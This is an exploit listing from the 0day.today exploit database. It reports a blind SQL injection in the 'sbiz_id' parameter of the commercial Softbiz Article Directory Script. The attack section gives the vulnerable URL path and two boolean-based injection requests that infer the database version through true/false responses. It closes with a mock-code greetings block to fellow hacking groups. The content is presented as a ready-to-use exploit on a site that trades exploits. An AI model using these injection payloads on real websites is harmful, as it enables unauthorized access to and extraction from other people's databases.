[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Softbiz Article Directory Script (sbiz_id) Blind SQL Injection

Author
BorN To K!LL
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13997
Category
web applications
Date add
06-09-2010
Platform
php
==============================================================
Softbiz Article Directory Script (sbiz_id) Blind SQL Injection
==============================================================

===========================================================
[~] Title: Article Directory (sbiz_id) Blind SQL Injection Vuln
[~] Script: Article Directory
[~] Price: $65
[~] Link: http://www.softbizscripts.com/article-management-script.php
===========================================================
[~] Author: BorN To K!LL - h4ck3r
[~] Contact: [email protected]
===========================================================
[~] 3xploit:
/article_details.php?sbiz_id=[Blind-Injection]
 
[~] Example:
server/article_details.php?sbiz_id=13 and substring(version(),1,1)=4    // False ,,
server/article_details.php?sbiz_id=13 and substring(version(),1,1)=5    // True ,,
===========================================================
[~] Greetings:
bool Greetings = True;
if (Greetings = True)
{
    cout<<"Dr.2"
          <<"Q8 H4x0r"
          <<"Dr.Faustus"
          <<"AsbMay's Group"
          <<"darkc0de team"
          <<"my wife.."
          <<"and all friends \n";
}
else
{
    cout<<"No greeting ..\n";
}
===========================================================



#  0day.today [2024-04-25]  #